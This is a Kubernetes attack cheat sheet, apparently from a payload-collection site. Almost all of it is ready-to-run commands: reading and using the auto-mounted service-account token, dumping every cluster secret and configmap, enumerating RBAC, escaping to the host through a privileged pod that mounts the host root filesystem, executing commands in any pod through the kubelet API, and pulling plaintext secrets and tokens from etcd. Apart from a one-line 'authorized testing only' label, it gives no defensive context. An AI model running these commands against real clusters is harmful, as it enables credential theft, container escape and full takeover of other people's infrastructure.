# Kubernetes Security Cheat Sheet

> Kubernetes security testing — pod enumeration, secrets access, RBAC abuse, privileged container escape, kubelet API exploitation, and etcd attacks.

Source: https://payloadplayground.com/cheatsheets/kubernetes

For authorized security testing only.

## Pod Enumeration from Inside

- `cat /var/run/secrets/kubernetes.io/serviceaccount/token` — Service account JWT token — auto-mounted in pods
- `cat /var/run/secrets/kubernetes.io/serviceaccount/namespace` — Current namespace
- `env | grep KUBERNETES` — K8s API server address from environment variables
- `curl -sSk -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" https://kubernetes.default.svc/api/v1/namespaces` — List namespaces with SA token

## Secrets Access

- `curl -sSk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/secrets` — List secrets in default namespace
- `kubectl get secrets --all-namespaces -o yaml` — All cluster secrets (if kubectl available)
- `kubectl get configmaps --all-namespaces -o yaml` — ConfigMaps may contain credentials

## RBAC Enumeration

- `kubectl auth can-i --list` — What actions can the current service account perform?
- `kubectl get clusterrolebindings -o yaml | grep -A5 "subjects"` — Find who has cluster-admin binding

## Privileged Pod Escape

- `kubectl run escape --image=ubuntu --restart=Never --privileged --overrides='{"spec":{"containers":[{"name":"escape","image":"ubuntu","command":["bash","-c","chroot /host bash"],"volumeMounts":[{"mountPath":"/host","name":"host"}],"securityContext":{"privileged":true}}],"volumes":[{"name":"host","hostPath":{"path":"/"}}]}}'` — Create privileged pod with host filesystem mount — chroot into host

## Kubelet API (often unauthenticated)

- `curl -sk https://<NODE_IP>:10250/pods` — List all pods on node via unauthenticated kubelet API
- `curl -sk -X POST https://<NODE_IP>:10250/run/<ns>/<pod>/<container> -d "cmd=id"` — Execute command in any pod on the node via kubelet API

## etcd (stores all secrets unencrypted)

- `ETCDCTL_API=3 etcdctl get / --prefix --keys-only` — List all keys stored in etcd
- `ETCDCTL_API=3 etcdctl get /registry/secrets/default/mysecret` — Get specific secret from etcd — plaintext
- `ETCDCTL_API=3 etcdctl get / --prefix | grep -A1 "token"` — Find all tokens stored in etcd

## Related

- [Cloud Infrastructure generator](https://payloadplayground.com/generators/cloud-infra)
- [Cloud Attacks Cheat Sheet](https://payloadplayground.com/cheatsheets/cloud-attacks.md)
- [Post-Exploitation Cheat Sheet](https://payloadplayground.com/cheatsheets/post-exploitation.md)
